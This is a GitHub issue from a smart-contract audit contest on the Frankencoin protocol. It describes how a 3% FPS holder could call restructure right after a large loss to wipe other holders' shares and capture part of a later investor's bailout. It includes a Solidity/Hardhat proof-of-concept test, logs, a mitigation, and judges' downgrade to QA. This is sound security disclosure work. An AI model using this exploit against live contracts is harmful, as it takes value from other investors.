code-423n4 / 2023-04-frankencoin-findings

5 stars 4 forks source link

Risk of Backrunning a Devastating Loss to Hold the System Hostage by an Eligible Holder of FPS #258

Open code423n4 opened 1 year ago

code423n4 commented 1 year ago

Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Equity.sol#L309

Vulnerability details

There is a design issue in allowing any eligible holder of FPS (minimum 3%) to restructure the system.

In the event of a restructuring being needed (equity being less than 1000 ZCHF or even negative), if an investor decides to save the system, they would want to wipe everyone else's FPS balance, to avoid sharing their bailout money with them. See the comments about this situation here:

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Equity.sol#L300

However, the logical move for an eligible holder of FPS is to monitor the blockchain for a devastating loss (where the equity becomes negative) and immediately wipe everyone else's FPS balance, essentially backrunning a devastating loss with the wiping of everyone's FPS balance.

Impact

Either no investors would want to save the system, or if an investor decides to save the system, they will suffer a ZCHF loss by being forced to share their invested ZCHF with the person holding the system hostage. This is both a form of denial of service and a forced loss for investors who decide to save the system.

Proof of Concept

A devastating loss happens Equity of the system is negative 100,000 ZCHF Total supply of FPS shares : 2316 Balance of Alice of FPS : 574 Balance of Bob of FPS : 1741 Bob wipes everyone (Alice) Bob still balance of FPS : 1741 Alice Balance of FPS : 0 An outside investor (Denis) want to save the system. Denis is forced to share whatever amount he wants to invest with bob Denis invests first 101 000 to make the system operational again and get 1000 FPS Denis then invest 100 000 to make the system stronger and gets 10026 FPS more. for a total of 11026. Bob still has 1741 FPS. So Bob by investing nothing, gets to have a significant amount of the FPS in circulation : 13.6% ( 1741/(1741+11026)). Total equity of the restructured system is 101 000 ZCHF, and bob gets a significant part of this.

Add a Hardhat test in PositionTests.js at line 311 to illustrate this scenario. The test is only for logging the different elements presented above. Run the whole file and ignore the results of the tests after this one.

  it("Test wipe out", async () => {
         await mintingHubTest.testwipeout();
          });

Add the testwipeout() function in the file MintingHubTest.sol

function testwipeout() public{

          uint256 balance = zchf.balanceOf(address(zchf.reserve()));
        console.log("Balance of ZCHF in Equity contract : " , balance);

         //100 000 ZCHF Hole
        zchf.set_minterReserve(100000000000000000000000);
        console.log("Equity of the system after a devastating loss : ",zchf.equity()/1 ether );
        uint256 minReserve =  zchf.minterReserve();      
        console.log("balance of minterReserve : ", minReserve/1 ether); 

        console.log("Total Supply of FPS : ", zchf.reserve().totalSupply()/1 ether);
        Equity equity = Equity(address(zchf.reserve()));

        //Bob Burn ZCHF address by sending it to another adress  0x0000000000000000000000000000000000000001
        bob.transfer(zchf, address(1), zchf.balanceOf(address(bob)));

        uint256 balance_ZCHF_Bob_Before=zchf.balanceOf(address(bob));
        console.log("balance_ZCHF_Bob_Before :",balance_ZCHF_Bob_Before/1 ether);

        uint256 bobBefore = equity.balanceOf(address(bob));
        console.log("Balance of FPS Bob before restructuring : ", bobBefore/1 ether);
        uint256 aliceBefore = equity.balanceOf(address(alice));
        console.log("Balance of FPS Alice before restructuring : ", aliceBefore/1 ether);

        address[] memory list = new address[](2);

        list[0] = address(alice);

        address[] memory empty = new address[](0);
        bob.restructure(empty, list);
        console.log("totalSupply of FPS after restructure : ", equity.totalSupply()/1 ether);

        uint256 bobAfter = equity.balanceOf(address(bob));
        console.log("Balance of FPS Bob after restructuring :", bobAfter/1 ether);
        uint256 aliceAfter = equity.balanceOf(address(alice));
        console.log("Balance of FPS Alice after restructuring :", aliceAfter/1 ether);

        //Denis is an outside investor with a lot of ZCHF and wants to save the system
        console.log("Denis is an outside investor with a lot of ZCHF and wants to save the system :");
        denis.obtainFrankencoins(swap, 2000000 ether);
        denis.invest(101000 ether);
        uint256 denisAfter = equity.balanceOf(address(denis));
        console.log("Balance of FPS Denis after first investment of 101000 ZCHF :", denisAfter/1 ether);

        denis.invest(100000 ether);
        uint256 denisAfter2 = equity.balanceOf(address(denis));
        console.log("Balance of FPS Denis after second investment of 100000 ZCHF : ", denisAfter2/1 ether);

        uint256 bobAfter2 = equity.balanceOf(address(bob));
        console.log("Balance of Bob of FPS after Denis investment : ", bobAfter2/1 ether);

        console.log("Total Equity ZCHF of the system after Denis investment : ",zchf.equity()/1 ether );
        console.log("totalSupply of FPS ", equity.totalSupply()/1 ether);

     }

To simulate the devastating loss I have have added a function in Frankencoin.sol

 function set_minterReserve(uint256 new_minter) public {
       minterReserveE6=new_minter * 1000000;
   }

Logs :

Balance of ZCHF in Equity contract : 0 Equity of the system after a devastating loss : 0 balance of minterReserve : 100000 Total Supply of FPS : 2316 balance_ZCHF_Bob_Before : 0 Balance of FPS Bob before restructuring : 1741 Balance of FPS Alice before restructuring : 574 totalSupply of FPS after restructure : 1741 Balance of FPS Bob after restructuring : 1741 Balance of FPS Alice after restructuring : 0 Denis is an outside investor with a lot of ZCHF and wants to save the system : Balance of FPS Denis after first investment of 101000 ZCHF : 1000 Balance of FPS Denis after second investment of 100000 ZCHF : 11026 Balance of Bob of FPS after Denis investment : 1741 Total Equity ZCHF of the system after Denis investment : 101000 totalSupply of FPS 12768

Tools Used

Manual Review Hardhat test

Recommended Mitigation Steps

Restructuring should be allowed only on the condition that the investor provides enough capital to offset the debt. Anyone should be able to do this, not just eligible minters.

c4-pre-sort commented 1 year ago

0xA5DF marked the issue as duplicate of #132

c4-judge commented 1 year ago

hansfriese changed the severity to QA (Quality Assurance)

c4-judge commented 1 year ago

hansfriese marked the issue as grade-b